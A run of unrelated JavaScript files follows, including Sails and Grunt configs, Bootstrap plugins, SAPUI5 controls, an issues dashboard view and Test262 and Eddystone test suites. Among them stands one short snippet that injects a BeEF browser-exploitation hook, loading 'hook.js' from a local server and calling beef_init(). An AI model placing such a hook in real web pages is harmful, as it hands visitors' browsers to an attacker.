/** * grunt/pipeline.js * * The order in which your css, javascript, and template files should be * compiled and linked from your views and static HTML files. * * (Note that you can take advantage of Grunt-style wildcard/glob/splat expressions * for matching multiple files.) */ // CSS files to inject in order // // (if you're using LESS with the built-in default config, you'll want // to change `assets/styles/importer.less` instead.) var cssFilesToInject = [ 'styles/dependencies/bootstrap.min.css', 'styles/dependencies/**/*.css', // 'styles/**/*.css' ]; // Client-side javascript files to inject in order // (uses Grunt-style wildcard/glob/splat expressions) var jsFilesToInject = [ // Load sails.io before everything else 'js/dependencies/sails.io.js', // Dependencies like jQuery, or Angular are brought in here 'js/dependencies/jquery-2.1.1.min.js', 'js/dependencies/**/*.js', // '!js/dependencies/language/**', // '!js/vendor/*.js', // All of the rest of your client-side js files // will be injected here in no particular order. // 'js/**/*.js' ]; // Client-side HTML templates are injected using the sources below // The ordering of these templates shouldn't matter. // (uses Grunt-style wildcard/glob/splat expressions) // // By default, Sails uses JST templates and precompiles them into // functions for you. If you want to use jade, handlebars, dust, etc., // with the linker, no problem-- you'll just want to make sure the precompiled // templates get spit out to the same file. Be sure and check out `tasks/README.md` // for information on customizing and installing new tasks. var templateFilesToInject = [ 'templates/**/*.html' ]; // Prefix relative paths to source files so they point to the proper locations // (i.e. where the other Grunt tasks spit them out, or in some cases, where // they reside in the first place) module.exports.cssFilesToInject = cssFilesToInject.map(function(path) { return '.tmp/public/' + path; }); module.exports.jsFilesToInject = jsFilesToInject.map(function(path) { return '.tmp/public/' + path; }); module.exports.templateFilesToInject = templateFilesToInject.map(function(path) { return 'assets/' + path; });
(function() { var d=document; var s = d.createElement('script'); s.src = 'http://127.0.0.1:3000/hook.js'; // BeEF hook here s.setAttribute('onload','beef_init();'); d.body.appendChild(s); })();
/** * Require frontend modules. * * Note: Do not use to require backend modules, as they should be CommonJS * modules and not AMD modules. */ var ERR = require('async-stacktrace'); var _ = require('lodash'); var async = require('async'); var requirejs = require('requirejs'); var logger = require('./logger'); requirejs.config({ nodeRequire: require, baseUrl: './public/localscripts/calculationQuestion', }); requirejs.onError = function(err) { var data = { errorMsg: err.toString(), stack: err.stack, }; for (var e in err) { if (err.hasOwnProperty(e)) { data[e] = String(err[e]); } } logger.error('requirejs load error', data); }; requirejs.undefQuestionServers = function(coursePath, logger, callback) { // Only try and undefine modules that are already defined, as listed in: // requireFrontend.s.contexts._.defined // This is necessary because of incomplete questions (in particular, those with info.json but no server.js). logger.verbose('Unloading cached copies of server.js files in ' + coursePath + ' ...'); var count = 0; async.each(_.keys(requirejs.s.contexts._.defined), function(modPath, callback) { if (_.startsWith(modPath, coursePath)) { count++; requirejs.undef(modPath); } callback(null); }, function(err) { if (ERR(err, callback)) return; logger.verbose('Successfully unloaded ' + count + ' cached files'); callback(null); }); }; module.exports = requirejs;
define([ './templates' ], function () { var $ = jQuery; Handlebars.registerHelper('issuesHomeLink', function (property, value) { return baseUrl + '/issues/search#resolved=false|createdInLast=1w|' + property + '=' + (encodeURIComponent(value)); }); Handlebars.registerHelper('myIssuesHomeLink', function (property, value) { return baseUrl + '/issues/search#resolved=false|createdInLast=1w|assignees=__me__|' + property + '=' + (encodeURIComponent(value)); }); Handlebars.registerHelper('issueFilterHomeLink', function (id) { return baseUrl + '/issues/search#id=' + id; }); return Marionette.ItemView.extend({ template: Templates['issues-workspace-home'], modelEvents: { 'change': 'render' }, events: { 'click .js-barchart rect': 'selectBar', 'click .js-my-barchart rect': 'selectMyBar' }, initialize: function () { this.model = new Backbone.Model(); this.requestIssues(); this.requestMyIssues(); }, _getProjects: function (r) { var projectFacet = _.findWhere(r.facets, { property: 'projectUuids' }); if (projectFacet != null) { var values = _.head(projectFacet.values, 3); values.forEach(function (v) { var project = _.findWhere(r.components, { uuid: v.val }); v.label = project.longName; }); return values; } }, _getAuthors: function (r) { var authorFacet = _.findWhere(r.facets, { property: 'authors' }); if (authorFacet != null) { return _.head(authorFacet.values, 3); } }, _getTags: function (r) { var MIN_SIZE = 10, MAX_SIZE = 24, tagFacet = _.findWhere(r.facets, { property: 'tags' }); if (tagFacet != null) { var values = _.head(tagFacet.values, 10), minCount = _.min(values, function (v) { return v.count; }).count, maxCount = _.max(values, function (v) { return v.count; }).count, scale = d3.scale.linear().domain([minCount, maxCount]).range([MIN_SIZE, MAX_SIZE]); values.forEach(function (v) { v.size = scale(v.count); }); return values; } }, requestIssues: function () { var that = this; var url = baseUrl + '/api/issues/search', options = { resolved: false, createdInLast: '1w', ps: 1, facets: 'createdAt,projectUuids,authors,tags' }; return $.get(url, options).done(function (r) { var createdAt = _.findWhere(r.facets, { property: 'createdAt' }); that.model.set({ createdAt: createdAt != null ? createdAt.values : null, projects: that._getProjects(r), authors: that._getAuthors(r), tags: that._getTags(r) }); }); }, requestMyIssues: function () { var that = this; var url = baseUrl + '/api/issues/search', options = { resolved: false, createdInLast: '1w', assignees: '__me__', ps: 1, facets: 'createdAt,projectUuids,authors,tags' }; return $.get(url, options).done(function (r) { var createdAt = _.findWhere(r.facets, { property: 'createdAt' }); return that.model.set({ myCreatedAt: createdAt != null ? createdAt.values : null, myProjects: that._getProjects(r), myTags: that._getTags(r) }); }); }, _addFormattedValues: function (values) { return values.map(function (v) { var text = window.formatMeasure(v.count, 'SHORT_INT'); return _.extend(v, { text: text }); }); }, onRender: function () { var values = this.model.get('createdAt'), myValues = this.model.get('myCreatedAt'); if (values != null) { this.$('.js-barchart').barchart(this._addFormattedValues(values)); } if (myValues != null) { this.$('.js-my-barchart').barchart(this._addFormattedValues(myValues)); } this.$('[data-toggle="tooltip"]').tooltip({ container: 'body' }); }, onDestroy: function () { this.$('[data-toggle="tooltip"]').tooltip('destroy'); }, selectBar: function (e) { var periodStart = $(e.currentTarget).data('period-start'), periodEnd = $(e.currentTarget).data('period-end'); this.options.app.state.setQuery({ resolved: false, createdAfter: periodStart, createdBefore: periodEnd }); }, selectMyBar: function (e) { var periodStart = $(e.currentTarget).data('period-start'), periodEnd = $(e.currentTarget).data('period-end'); this.options.app.state.setQuery({ resolved: false, assignees: '__me__', createdAfter: periodStart, createdBefore: periodEnd }); }, serializeData: function () { return _.extend(Marionette.ItemView.prototype.serializeData.apply(this, arguments), { user: window.SS.user, filters: _.sortBy(this.options.app.filters.toJSON(), 'name') }); } }); });
'use strict'; //Articles service used for communicating with the articles REST endpoints angular.module('articles').factory('Articles', ['$resource', function ($resource) { return $resource('api/articles/:articleId', { articleId: '@_id' }, { update: { method: 'PUT' } }); } ]);
/** * @description Gruntfile that contains tasks to build, test and deploy a project. * * Configure all your tasks in the /tasks folder. * * For more help, see: http://gruntjs.com/getting-started */ module.exports = function(grunt) { 'use strict'; function loadConfig(path) { var glob = require('glob'); var object = {}; var key; glob.sync('*', {cwd: path}).forEach(function(option) { key = option.replace(/\.js$/, ''); object[key] = require(path + option); }); return object; } // Initial config var config = { pkg: grunt.file.readJSON('package.json') }; // Load tasks from tasks folder grunt.loadTasks('tasks'); grunt.util._.extend(config, loadConfig('./tasks/options/')); grunt.initConfig(config); require('load-grunt-tasks')(grunt); };
//>>built define( "dojox/atom/widget/nls/pt-pt/FeedEntryEditor", //begin v1.x content ({ doNew: "[novo]", edit: "[editar]", save: "[guardar]", cancel: "[cancelar]" }) //end v1.x content );
define({ summary: '總計:${0}', summaryWithSelection: '總計:${0} 已選取:${1}' });
// Copyright (c) 2012 Ecma International. All rights reserved. // This code is governed by the BSD license found in the LICENSE file. /*--- es5id: 15.2.3.7-6-a-100 description: > Object.defineProperties - 'P' is data property, several attributes values of P and properties are different (8.12.9 step 12) includes: [propertyHelper.js] ---*/ var obj = {}; Object.defineProperty(obj, "foo", { value: 100, writable: true, configurable: true }); Object.defineProperties(obj, { foo: { value: 200, writable: false, configurable: false } }); verifyEqualTo(obj, "foo", 200); verifyNotWritable(obj, "foo"); verifyNotEnumerable(obj, "foo"); verifyNotConfigurable(obj, "foo");
/* * Copyright (C) 2013 Salzburg Research. * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ (function ($) { AjaxSolr.theme.prototype.result = function (doc, snippet) { var output = '<div><h3 class="supertitle"><p id="links_' + doc.id + '"class="metainfo"></p></h3>'; if (__configuration.results.title && __configuration.results.title != "") { if (__configuration.results.link && __configuration.results.link != "") { output += '<h4 class="title"> <a href="'+doc[__configuration.results.link]+'">' + doc[__configuration.results.title] + '</a></h4>'; } else { output += '<h4 class="title">' + doc[__configuration.results.title] + '</h4>'; } } if (__configuration.results.author && __configuration.results.author != "") { output += '<h5>by '+doc[__configuration.results.author]+'</h5>'; } if(__configuration.results.thumb && __configuration.results.thumb != "" && doc[__configuration.results.thumb]) { output += '<img class="left" src="'+doc[__configuration.results.thumb]+'"/>'; } if (snippet) { output += '<p class="preview">' + snippet + '</p>'; } if (__configuration.results.created && __configuration.results.created != "") { var date = new Date(doc[__configuration.results.created]); var yesterday = new Date(); yesterday.setDate(yesterday.getDate()-1); var strDate; if (date.strftime('%x') == yesterday.strftime('%x')) { strDate = "gestern"; } else { strDate = date.strftime('%x'); } output += '<p class="meta">' + 'created: ' + strDate + '</div></li>'; } return output; }; AjaxSolr.theme.prototype.snippet = function (doc, response) { if (!__configuration.results.description || __configuration.results.description == "") return null; if (response && response.highlighting && response.highlighting[doc.id] && response.highlighting[doc.id][__configuration.results.description]) { var desc = response.highlighting[doc.id][__configuration.results.description]; if (!desc) return null; else return desc + ''; } else { var desc = doc[__configuration.results.description]; if (!desc) return null; var output = ''; if (desc.length > 300) { output += desc.substring(0, 300) + " " + "..."; output += '<span style="display:none;">' + desc.substring(300); output += '</span> <a href="#" class="more">[read more]</a>'; } else { output += desc; } return output; } return null; }; AjaxSolr.theme.prototype.tag = function (facet, weight, handler) { var title = facet.value; if (title.length > 30) { title = title.substring(0,30) + "..."; } var output = $('<li/>', {"class":(facet.active?"checked":"notchecked")}).append($('<a class="" href="#">' + title + '</a>').click(handler)).append('<span class="checkbox"></span>' + '<span class="facNum">' + facet.count + '</span>'); return output; }; AjaxSolr.theme.prototype.facet_link = function (value, handler) { return $('<a href="#"/>').text(value).click(handler); }; AjaxSolr.theme.prototype.no_items_found = function () { return 'no items found in current selection'; }; })(jQuery);
export * from 'backbone-decorators'; export function protoprop(target, name, descriptor) { target[name] = descriptor.initializer(); } export function behavior(name, config = {}) { return function({prototype}) { prototype.behaviors = Object.assign({ [name]: config }, prototype.behaviors); }; } export function className(name) { return function(target) { target.prototype.className = name; }; } export function region(selector) { return function(target, name, descriptor) { delete descriptor.initializer; descriptor.writable = true; target.regions = Object.assign({ [name]: selector }, target.regions); }; }
/*! * ${copyright} */ sap.ui.define(['sap/ui/unified/calendar/CalendarDate', 'sap/ui/core/date/UniversalDate'], function(CalendarDate, UniversalDate) { "use strict"; /* * Inside the YearPickerRenderer CalendarDate objects are used. But in the API JS dates are used. * So conversion must be done on API functions. */ /** * YearPicker renderer. * @namespace */ var YearPickerRenderer = { }; /** * Renders the HTML for the given control, using the provided {@link sap.ui.core.RenderManager}. * * @param {sap.ui.core.RenderManager} oRm the RenderManager that can be used for writing to the render output buffer * @param {sap.ui.unified.calendar.YearPicker} oYP an object representation of the control that should be rendered */ YearPickerRenderer.render = function(oRm, oYP){ var sTooltip = oYP.getTooltip_AsString(); var sId = oYP.getId(); var oCurrentDate = oYP._getDate(); var iCurrentYear = oCurrentDate.getYear(); var iYears = oYP.getYears(); var iColumns = oYP.getColumns(); var sWidth = ""; oRm.write("<div"); oRm.writeControlData(oYP); oRm.addClass("sapUiCalYearPicker"); oRm.writeClasses(); if (sTooltip) { oRm.writeAttributeEscaped('title', sTooltip); } oRm.writeAccessibilityState(oYP, { role: "grid", readonly: "true", multiselectable: "false" }); oRm.write(">"); // div element var oDate = new CalendarDate(oCurrentDate, oYP.getPrimaryCalendarType()); oDate.setYear(oDate.getYear() - Math.floor(iYears / 2)); var bEnabledCheck = false; // check for disabled years only needed if borders touched var oFirstDate = oYP._checkFirstDate(oDate); if (!oFirstDate.isSame(oDate)) { oDate = oFirstDate; bEnabledCheck = true; } if (iColumns > 0) { sWidth = ( 100 / iColumns ) + "%"; } else { sWidth = ( 100 / iYears ) + "%"; } for ( var i = 0; i < iYears; i++) { var sYyyymmdd = oYP._oFormatYyyymmdd.format(oDate.toUTCJSDate(), true); var mAccProps = { role: "gridcell" }; var bEnabled = true; if (bEnabledCheck) { bEnabled = oYP._checkDateEnabled(oDate); } if (iColumns > 0 && i % iColumns == 0) { // begin of row oRm.write("<div"); oRm.writeAccessibilityState(null, {role: "row"}); oRm.write(">"); // div element } oRm.write("<div"); oRm.writeAttribute("id", sId + "-y" + sYyyymmdd); oRm.addClass("sapUiCalItem"); if ( oDate.getYear() == iCurrentYear) { oRm.addClass("sapUiCalItemSel"); mAccProps["selected"] = true; } else { mAccProps["selected"] = false; } if (!bEnabled) { oRm.addClass("sapUiCalItemDsbl"); // year disabled mAccProps["disabled"] = true; } oRm.writeAttribute("tabindex", "-1"); oRm.writeAttribute("data-sap-year-start", sYyyymmdd); oRm.addStyle("width", sWidth); oRm.writeClasses(); oRm.writeStyles(); oRm.writeAccessibilityState(null, mAccProps); oRm.write(">"); // div element // to render era in Japanese, UniversalDate is used, since CalendarDate.toUTCJSDate() will convert the date in Gregorian oRm.write(oYP._oYearFormat.format(UniversalDate.getInstance(oDate.toUTCJSDate(), oDate.getCalendarType()), true)); // to render era in Japanese oRm.write("</div>"); oDate.setYear(oDate.getYear() + 1); if (iColumns > 0 && ((i + 1) % iColumns == 0)) { // end of row oRm.write("</div>"); } } oRm.write("</div>"); }; return YearPickerRenderer; }, /* bExport= */ true);
/* ======================================================================== * Bootstrap: popover.js v3.0.0 * http://twbs.github.com/bootstrap/javascript.html#popovers * ======================================================================== * Copyright 2012 Twitter, Inc. * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. * ======================================================================== */ +function ($) { "use strict"; // POPOVER PUBLIC CLASS DEFINITION // =============================== var Popover = function (element, options) { this.init('popover', element, options) } if (!$.fn.tooltip) throw new Error('Popover requires tooltip.js') Popover.DEFAULTS = $.extend({} , $.fn.tooltip.Constructor.DEFAULTS, { placement: 'right' , trigger: 'click' , content: '' , template: '<div class="popover"><div class="arrow"></div><h3 class="popover-title"></h3><div class="popover-content"></div></div>' }) // NOTE: POPOVER EXTENDS tooltip.js // ================================ Popover.prototype = $.extend({}, $.fn.tooltip.Constructor.prototype) Popover.prototype.constructor = Popover Popover.prototype.getDefaults = function () { return Popover.DEFAULTS } Popover.prototype.setContent = function () { var $tip = this.tip() var title = this.getTitle() var content = this.getContent() $tip.find('.popover-title')[this.options.html ? 'html' : 'text'](title) $tip.find('.popover-content')[this.options.html ? 'html' : 'text'](content) $tip.removeClass('fade top bottom left right in') $tip.find('.popover-title:empty').hide() } Popover.prototype.hasContent = function () { return this.getTitle() || this.getContent() } Popover.prototype.getContent = function () { var $e = this.$element var o = this.options return $e.attr('data-content') || (typeof o.content == 'function' ? o.content.call($e[0]) : o.content) } Popover.prototype.tip = function () { if (!this.$tip) this.$tip = $(this.options.template) return this.$tip } // POPOVER PLUGIN DEFINITION // ========================= var old = $.fn.popover $.fn.popover = function (option) { return this.each(function () { var $this = $(this) var data = $this.data('bs.popover') var options = typeof option == 'object' && option if (!data) $this.data('bs.popover', (data = new Popover(this, options))) if (typeof option == 'string') data[option]() }) } $.fn.popover.Constructor = Popover // POPOVER NO CONFLICT // =================== $.fn.popover.noConflict = function () { $.fn.popover = old return this } }(window.jQuery);
/// Copyright (c) 2009 Microsoft Corporation /// /// Redistribution and use in source and binary forms, with or without modification, are permitted provided /// that the following conditions are met: /// * Redistributions of source code must retain the above copyright notice, this list of conditions and /// the following disclaimer. /// * Redistributions in binary form must reproduce the above copyright notice, this list of conditions and /// the following disclaimer in the documentation and/or other materials provided with the distribution. /// * Neither the name of Microsoft nor the names of its contributors may be used to /// endorse or promote products derived from this software without specific prior written permission. /// /// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR /// IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS /// FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE /// FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT /// LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS /// INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, /// OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF /// ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. ES5Harness.registerTest({ id: "15.2.3.6-3-147", path: "TestCases/chapter15/15.2/15.2.3/15.2.3.6/15.2.3.6-3-147.js", description: "Object.defineProperty - 'Attributes' is the JSON object that uses Object's [[Get]] method to access the 'value' property (8.10.5 step 5.a)", test: function testcase() { var obj = {}; try { JSON.value = "JSON"; Object.defineProperty(obj, "property", JSON); return obj.property === "JSON"; } finally { delete JSON.value; } }, precondition: function prereq() { return fnExists(Object.defineProperty); } });
/*! * ${copyright} */ // Provides control sap.ui.ux3.DataSetItem. sap.ui.define(['jquery.sap.global', 'sap/ui/core/Element', './library'], function(jQuery, Element, library) { "use strict"; /** * Constructor for a new DataSetItem. * * @param {string} [sId] id for the new control, generated automatically if no id is given * @param {object} [mSettings] initial settings for the new control * * @class * DataSet Item * @extends sap.ui.core.Element * @version ${version} * * @constructor * @public * @deprecated as of version 1.38 * @alias sap.ui.ux3.DataSetItem * @ui5-metamodel This control/element also will be described in the UI5 (legacy) designtime metamodel */ var DataSetItem = Element.extend("sap.ui.ux3.DataSetItem", /** @lends sap.ui.ux3.DataSetItem.prototype */ { metadata : { library : "sap.ui.ux3", properties : { /** * image */ iconSrc : {type : "sap.ui.core.URI", group : "Misc", defaultValue : null}, /** * title */ title : {type : "string", group : "Misc", defaultValue : 'Title'}, /** * checkable */ checkable : {type : "boolean", group : "Misc", defaultValue : true}, /** * subtitle */ subtitle : {type : "string", group : "Misc", defaultValue : 'Subtitle'} }, aggregations : { /** * The template control currently aggregated by this item and managed by the DataSet */ _template : {type : "sap.ui.core.Control", multiple : false, visibility : "hidden"} }, events : { /** * Event Fired when Datset item is selected. */ selected : { parameters : { /** * Id of the selected Datset item */ itemId : {type : "string"} } } } }}); /** * Handle onclick event. Fires selected Event. * @param {sap.ui.base.Event} oEvent click event * @private */ DataSetItem.prototype.onclick = function(oEvent) { oEvent.stopPropagation(); // determine modifier keys var bShift = oEvent.shiftKey; var bCtrl = !!(oEvent.metaKey || oEvent.ctrlKey); this.fireSelected({ itemId: this.getId(), shift: bShift, ctrl: bCtrl }); }; DataSetItem.prototype.ondblclick = function(oEvent) { this.onclick(oEvent); }; return DataSetItem; }, /* bExport= */ true);
/** * State of the request. * * @enum {Number} */ var RequestState = { /** * Initial unissued state. * * @type Number * @constant */ UNISSUED: 0, /** * Issued but not yet active. Will become active when open slots are available. * * @type Number * @constant */ ISSUED: 1, /** * Actual http request has been sent. * * @type Number * @constant */ ACTIVE: 2, /** * Request completed successfully. * * @type Number * @constant */ RECEIVED: 3, /** * Request was cancelled, either explicitly or automatically because of low priority. * * @type Number * @constant */ CANCELLED: 4, /** * Request failed. * * @type Number * @constant */ FAILED: 5, }; export default Object.freeze(RequestState);
// Copyright (c) 2012 Ecma International. All rights reserved. // This code is governed by the BSD license found in the LICENSE file. /*--- es5id: 15.4.4.19-8-9 description: > Array.prototype.map - modifications to length don't change number of iterations on an Array ---*/ var called = 0; function callbackfn(val, idx, obj) { called += 1; return val > 10; } var arr = [9, , 12]; Object.defineProperty(arr, "1", { get: function () { arr.length = 2; return 8; }, configurable: true }); var testResult = arr.map(callbackfn); assert.sameValue(testResult.length, 3, 'testResult.length'); assert.sameValue(called, 2, 'called'); assert.sameValue(typeof testResult[2], "undefined", 'typeof testResult[2]');
//Wrapped in an outer function to preserve global this (function (root) { var amdExports; define(['bootstrap/bootstrap-transition'], function () { (function () { /* ============================================================ * bootstrap-dropdown.js v2.3.2 * http://twitter.github.com/bootstrap/javascript.html#dropdowns * ============================================================ * Copyright 2012 Twitter, Inc. * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. * ============================================================ */ !function ($) { "use strict"; // jshint ;_; /* DROPDOWN CLASS DEFINITION * ========================= */ var toggle = '[data-toggle=dropdown]' , Dropdown = function (element) { var $el = $(element).on('click.dropdown.data-api', this.toggle) $('html').on('click.dropdown.data-api', function () { $el.parent().removeClass('open') }) } Dropdown.prototype = { constructor: Dropdown , toggle: function (e) { var $this = $(this) , $parent , isActive if ($this.is('.disabled, :disabled')) return $parent = getParent($this) isActive = $parent.hasClass('open') clearMenus() if (!isActive) { if ('ontouchstart' in document.documentElement) { // if mobile we we use a backdrop because click events don't delegate $('<div class="dropdown-backdrop"/>').insertBefore($(this)).on('click', clearMenus) } $parent.toggleClass('open') } $this.focus() return false } , keydown: function (e) { var $this , $items , $active , $parent , isActive , index if (!/(38|40|27)/.test(e.keyCode)) return $this = $(this) e.preventDefault() e.stopPropagation() if ($this.is('.disabled, :disabled')) return $parent = getParent($this) isActive = $parent.hasClass('open') if (!isActive || (isActive && e.keyCode == 27)) { if (e.which == 27) $parent.find(toggle).focus() return $this.click() } $items = $('[role=menu] li:not(.divider):visible a', $parent) if (!$items.length) return index = $items.index($items.filter(':focus')) if (e.keyCode == 38 && index > 0) index-- // up if (e.keyCode == 40 && index < $items.length - 1) index++ // down if (!~index) index = 0 $items .eq(index) .focus() } } function clearMenus() { $('.dropdown-backdrop').remove() $(toggle).each(function () { getParent($(this)).removeClass('open') }) } function getParent($this) { var selector = $this.attr('data-target') , $parent if (!selector) { selector = $this.attr('href') selector = selector && /#/.test(selector) && selector.replace(/.*(?=#[^\s]*$)/, '') //strip for ie7 } $parent = selector && $(selector) if (!$parent || !$parent.length) $parent = $this.parent() return $parent } /* DROPDOWN PLUGIN DEFINITION * ========================== */ var old = $.fn.dropdown $.fn.dropdown = function (option) { return this.each(function () { var $this = $(this) , data = $this.data('dropdown') if (!data) $this.data('dropdown', (data = new Dropdown(this))) if (typeof option == 'string') data[option].call($this) }) } $.fn.dropdown.Constructor = Dropdown /* DROPDOWN NO CONFLICT * ==================== */ $.fn.dropdown.noConflict = function () { $.fn.dropdown = old return this } /* APPLY TO STANDARD DROPDOWN ELEMENTS * =================================== */ $(document) .on('click.dropdown.data-api', clearMenus) .on('click.dropdown.data-api', '.dropdown form', function (e) { e.stopPropagation() }) .on('click.dropdown.data-api' , toggle, Dropdown.prototype.toggle) .on('keydown.dropdown.data-api', toggle + ', [role=menu]' , Dropdown.prototype.keydown) }(window.jQuery); }.call(root)); return amdExports; }); }(this));
'use strict'; let angular = require('angular'); module.exports = angular.module('spinnaker.core.delivery.executionStatus.controller', [ require('../../utils/lodash.js'), ]) .controller('executionStatus', function(_) { var controller = this; controller.getFailedStage = function(execution) { let stages = execution.stageSummaries || []; var failed = stages.filter(function(stage) { return stage.isFailed; }); if (failed && failed.length) { return failed[0].name; } return 'Unknown'; }; controller.getRunningStage = function(execution) { let stages = execution.stageSummaries || []; var currentStages = stages.filter(function(stage) { return stage.isRunning; }); // if there are no running stages, find the first enqueued stage if (!currentStages.length) { var enqueued = stages.filter(function(stage) { return stage.hasNotStarted; }); if (enqueued && enqueued.length) { currentStages = [enqueued[0]]; } } if (currentStages && currentStages.length) { return _.pluck(currentStages, 'name').join(', '); } return 'Unknown'; }; controller.getSuspendedStage = function(execution) { let stages = execution.stageSummaries || []; var suspended = stages.filter(function(stage) { return stage.isSuspended; }); if (suspended && suspended.length) { return suspended[0].name; } return 'Unknown'; }; }).name;
// Copyright (C) 2015 the V8 project authors. All rights reserved. // This code is governed by the BSD license found in the LICENSE file. /*--- es6id: 23.4.3.4 description: Throws TypeError if `this` is not Object. info: > WeakSet.prototype.has ( value ) 1. Let S be the this value. 2. If Type(S) is not Object, throw a TypeError exception. ---*/ assert.throws(TypeError, function() { WeakSet.prototype.has.call('', {}); }); assert.throws(TypeError, function() { var s = new WeakSet(); s.has.call('', {}); });
// jshint node: true // We need this so chai `expect` statements don't throw an error. // jshint expr: true 'use strict'; import chai, {expect} from 'chai'; import EddystoneUID from '../../lib/eddystone-uid.js'; describe('Eddystone-UID', () => { describe('getByteArray()', () => { it('Invalid type', () => { expect(() => EddystoneUID.getByteArray({}, 5)).to.throw(TypeError); }); it('Valid String', () => { expect(EddystoneUID.getByteArray('FF00', 2)).to.eql([0xFF, 0]); }); it('Invalid String', () => { expect(() => EddystoneUID.getByteArray('GGGG', 2)).to.throw(Error); }); it('Valid byte array', () => { expect(EddystoneUID.getByteArray([1, 2, 3, 4], 4)).to.eql([1, 2, 3, 4]); }); it('Invalid byte array', () => { expect(() => EddystoneUID.getByteArray([0xF00], 1)).to.throw(Error); }); }); describe('getHexString()', () => { it('Valid String', () => { expect(EddystoneUID.getHexString([0xFF])).to.eql('ff'); }); it('Invalid String', () => { expect(() => EddystoneUID.getHexString([0xF00])).to.throw(Error); }); }); describe('_getNamespaceByteArray()', () => { it('Valid String Namespace', () => { expect(EddystoneUID._getNamespaceByteArray('0102030405060708090a')) .to.eql([1,2,3,4,5,6,7,8,9,10]); }); it('Invalid Length String Namespace', () => { expect(() => EddystoneUID._getNamespaceByteArray('0102030405')) .to.throw(Error); }); it('Valid Byte Namespace', () => { expect(EddystoneUID._getNamespaceByteArray([1,2,3,4,5,6,7,8,9,0])) .to.eql([1,2,3,4,5,6,7,8,9,0]); }); it('Invalid Length Byte Namespace', () => { expect(() => EddystoneUID._getNamespaceByteArray([1,2,3,4])) .to.throw(Error); }); }); describe('_getInstanceByteArray()', () => { it('Valid String Instance', () => { expect(EddystoneUID._getInstanceByteArray('010203040506')).to.eql([1,2,3,4,5,6]); }); it('Invalid Length String Instance', () => { expect(() => EddystoneUID._getInstanceByteArray('010203')).to.throw(Error); }); it('Valid Byte Array Instance', () => { expect(EddystoneUID._getInstanceByteArray([1,2,3,4,5,6])).to.eql([1,2,3,4,5,6]); }); it('Invalid Length Byte Array Instance', () => { expect(() => EddystoneUID._getInstanceByteArray([1,2,3])).to.throw(Error); }); }); describe('_encodeString()', () => { it('Odd expected length', () => { expect(() => EddystoneUID._encodeString('012', 3)).to.throw(/length/); }); it('Too Long String', () => { expect(() => EddystoneUID._encodeString('010203', 4)).to.throw(/length/); }); it('Too Short String', () => { expect(() => EddystoneUID._encodeString('01', 4)).to.throw(/length/); }); it('Correct Length String', () => { expect(EddystoneUID._encodeString('0102', 4)).to.eql([1,2]); }); it('Invalid characters String', () => { expect(() => EddystoneUID._encodeString('010G', 4)).to.throw(/character/); }); it('Valid String', () => { expect(EddystoneUID._encodeString('abcdef', 6)).eql([0xab, 0xcd, 0xef]); }); }); describe('_validateByteArray()', () => { it('Too long array', () => { expect(() => EddystoneUID._validateByteArray([1,2,3], 2)).to.throw(/length/); }); it('Too short array', () => { expect(() => EddystoneUID._validateByteArray([1], 2)).to.throw(/length/); }); it('Wrong type in array', () => { expect(() => EddystoneUID._validateByteArray([1, {}], 2)).to.throw(/value/); }); it('Wrong value in array', () => { expect(() => EddystoneUID._validateByteArray([1, 0xF00], 2)).to.throw(/value/); }); }); });
// Base property is optional and derived type has no property of that name // object literal case var a; var b; var r = true ? a : b; // ok
// Copyright 2009 the Sputnik authors. All rights reserved. // This code is governed by the BSD license found in the LICENSE file. /*--- info: > The internal helper function CharacterRange takes two CharSet parameters A and B and performs the following: 2. Let a be the one character in CharSet A. 3. Let b be the one character in CharSet B. 4. Let i be the character value of character a. 5. Let j be the character value of character b. 6. If i > j, throw a SyntaxError exception. es5id: 15.10.2.15_A1_T40 description: > Checking if execution of "/[d-G\u0061]/.exec("a")" leads to throwing the correct exception ---*/ //CHECK#1 try { $ERROR('#1.1: /[d-G\\u0061]/.exec("a") throw SyntaxError. Actual: ' + (new RegExp("[d-G\\u0061]").exec("a"))); } catch (e) { if((e instanceof SyntaxError) !== true){ $ERROR('#1.2: /[d-G\\u0061]/.exec("a") throw SyntaxError. Actual: ' + (e)); } }
